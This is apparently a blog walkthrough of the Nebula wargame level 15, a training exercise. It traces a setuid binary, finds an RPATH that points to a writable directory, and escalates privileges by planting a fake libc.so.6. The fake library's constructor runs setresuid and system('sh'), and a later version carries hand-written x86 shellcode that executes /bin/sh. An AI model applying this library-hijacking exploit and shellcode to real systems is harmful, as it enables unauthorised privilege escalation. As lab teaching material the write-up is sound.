strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to "compile a shared library in linux" and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)Let's try running it before getting a strace, to see if we can get any other information out of it:
level15@nebula:~$ ~flag15/flag15 strace it!Nope... Let's strace it then:
level15@nebula:~$ strace ~flag15/flag15 execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 19 vars */]) = 0 brk(0) = 0x9d1e000 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb775f000 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/i686", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/tls", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/i686", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory) open("/var/tmp/flag15/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory) stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0 open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 fstat64(3, {st_mode=S_IFREG|0644, st_size=20413, ...}) = 0 mmap2(NULL, 20413, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb775a000 close(3) = 0 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\226\1\0004\0\0\0"..., 512) = 512 fstat64(3, {st_mode=S_IFREG|0755, st_size=1713640, ...}) = 0 mmap2(NULL, 1723100, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x63e000 mmap2(0x7dd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19f) = 0x7dd000 mmap2(0x7e0000, 10972, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7e0000 close(3) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7759000 set_thread_area({entry_number:-1 -> 6, base_addr:0xb7759900, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 mprotect(0x7dd000, 8192, PROT_READ) = 0 mprotect(0x8049000, 4096, PROT_READ) = 0 mprotect(0x21d000, 4096, PROT_READ) = 0 munmap(0xb775a000, 20413) = 0 fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0 mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb775e000 write(1, "strace it!\n", 11strace it! ) = 11 exit_group(11) = ?That's weird, it tries to open() a bunch of libraries from /var/tmp/flag15 before actually mapping the executable contents into memory... Let's see what objdump gives us:
level15@nebula:~$ objdump -p ~flag15/flag15 /home/flag15/flag15: file format elf32-i386 Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x00000120 memsz 0x00000120 flags r-x INTERP off 0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x000005d4 memsz 0x000005d4 flags r-x LOAD off 0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12 filesz 0x00000108 memsz 0x00000110 flags rw- DYNAMIC off 0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2 filesz 0x000000d0 memsz 0x000000d0 flags rw- NOTE off 0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2 filesz 0x00000044 memsz 0x00000044 flags r-- EH_FRAME off 0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2 filesz 0x00000034 memsz 0x00000034 flags r-- STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2 filesz 0x00000000 memsz 0x00000000 flags rw- RELRO off 0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0 filesz 0x000000f4 memsz 0x000000f4 flags r-- Dynamic Section: NEEDED libc.so.6 RPATH /var/tmp/flag15 INIT 0x080482c0 FINI 0x080484ac GNU_HASH 0x080481ac STRTAB 0x0804821c SYMTAB 0x080481cc STRSZ 0x0000005a SYMENT 0x00000010 DEBUG 0x00000000 PLTGOT 0x08049ff4 PLTRELSZ 0x00000018 PLTREL 0x00000011 JMPREL 0x080482a8 REL 0x080482a0 RELSZ 0x00000008 RELENT 0x00000008 VERNEED 0x08048280 VERNEEDNUM 0x00000001 VERSYM 0x08048276 Version References: required from libc.so.6: 0x0d696910 0x00 02 GLIBC_2.0Ah, so the binary has been linked with -rpath. Easy enough, we'll have to roll our own libc.so.6 in /var/tmp/flag15 and make it give us a shell... Let's try just that:
level15@nebula:~$ mkdir /var/tmp/flag15/ level15@nebula:~$ pushd /var/tmp/flag15/ /var/tmp/flag15 ~ level15@nebula:/var/tmp/flag15$ cat > libc.c #include <unistd.h> #include <stdlib.h> void __attribute__((constructor)) init() { int euid = geteuid(); setresuid(euid, euid, euid); system("sh"); } level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -o libc.so.6 libc.c level15@nebula:/var/tmp/flag15$ ~flag15/flag15 /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15) /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6) /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6) /home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol geteuid, version GLIBC_2.0 not defined in file libc.so.6 with link time referenceApparently there's some symbol versioning conflicts between the original libc and the one we just compiled. We'll have to get a shell without relying on the real libc, which means we'll have to write some shellcode :)
level15@nebula:/var/tmp/flag15$ cat > shell.S .section .text .globl shell shell: mov $49, %eax # geteuid int $0x80 mov %eax, %ebx mov %eax, %ecx mov %eax, %edx mov $164, %eax # setresuid int $0x80 mov $sh_str, %ebx xor %edx, %edx push %edx push %ebx mov %esp, %ecx mov $11, %eax # execve int $0x80 .section .data sh_str: .ascii "/bin/sh\0"And our constructor function:
level15@nebula:/var/tmp/flag15$ cat > libc.c void shell(void); void __attribute__((constructor)) init() { shell(); }Now let's compile it without linking to libc:
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -nostdlib -o libc.so.6 libc.c shell.S level15@nebula:/var/tmp/flag15$ ~flag15/flag15 /home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15) sh-4.2$ id uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15) sh-4.2$ getflag You have successfully executed getflag on a target accountinc flags ;)
~ Dmitry
No comments:
Post a Comment